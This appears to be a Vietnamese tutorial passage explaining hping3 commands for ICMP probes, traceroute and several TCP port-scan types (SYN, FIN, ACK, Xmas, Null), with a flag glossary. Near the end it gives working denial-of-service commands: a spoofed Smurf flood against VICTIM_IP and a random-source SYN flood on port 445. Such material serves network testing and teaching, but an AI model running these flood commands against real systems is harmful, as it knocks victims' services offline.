Hping3 -1 domainexample.com
- Traceroute sử dụng ICMP: ví dụ này giống như tracert trên hệ điều hành windows hoặc traceroute trên hệ điều hành linux, giá trị TTL sẽ tăng lần lượt 1đơn vị trong gói ICMP.
Hping3 –traceroute -V -1 domainexample.com
- Checking port: Ở đây Hping3 sẽ gửi gói SYN tới port đã xác định (ví dụ này sử dụng port 80). Local port bắt đầu scan là (5050).
Hping3 -V -S -p 80 -s 5050 domainexample.com
- Traceroute để xác định ra port: sử dụng traceroute để xác định ra vị trí mà gói của bạn bị blocked.
Hping3 –traceroute -V -S -p 80 -s 5050 domainexample.com
- Các loại khác của gói ICMP: ví dụ này gửi gói ICMP address mask request (Type 17).
Hping3 -c 1 -V -1 -C 17 domainexample.com
- Các loại khác của Port Scanning: Loại đầu tiên; FIN scan. Đối với kết nối TCP thì cờ FIN được sử dụng để bắt đầu quá trình đóng kết nối. Nếu chúng ta không nhận reply, có nghĩa là port mở. Thông thường firewalls gửi ngược trở lại gói RST + ACK nhằm thể hiện port đã được đóng.
Hping3 -c 1 -V -p 80 -s 5050 -F domainexample.com
- ACK Scan: Kiểu scan này được sử dụng nhằm xác định ra host, nếu như host đó tồn tại (khi không được phép sử dụng lệnh ping). Lúc này sẽ gửi hồi đáp RST nếu port mở.
Hping3 -c 1 -V -p 80 -s 5050 -A domainexample.com
- . Xmas Scan: Kiểu scan này thiết lập sequence number về 0 và thiết lập cờ URG + PSH + FIN trong gói. Nếu như port TCP của thiết bị đích đóng, thì thiết bị đích gửi gói TCP RST trong nội dung reply. Nếu như port TCP của thiết bị đích mở, thì thiết bị đích discards kiểu TCP Xmas scan và không gửi reply.
Hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF domainexample.com
- Null Scan: Kiểu scan này thiết lập sequence number về 0 và không có bất kỳ một cờ nào được thiết lập trong gói. Nếu như port TCP của thiết bị đích đóng, thì thiết bị đích gửi TCP RST packet trong reply. Nếu như port TCP của thiết bị đích mở, thì thiết bị đích discards TCP NULL scan và không gửi reply.
Hping3 -c 1 -V -p 80 -s 5050 -Y domainexample.com
- Smurf Attack: đây thuộc về kiểu tấn công denial-of-service thông qua việc floods tới hệ thống đích bằng việc giả mạo broadcast trong thông điệp ping.
Hping3 -1 –flood -a VICTIM_IP BROADCAST_ADDRESS
Hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 –flood –rand-source VICTIM_IP
–flood: sent packets as fast as possible. Don’t show replies.
–rand-dest: random destionation address mode. see the man.
-V <– Verbose
-c –count: packet count
-d –data: data size
-S –syn: set SYN flag
-w –win: winsize (default 64)
-p –destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-s –baseport: base source port (default random)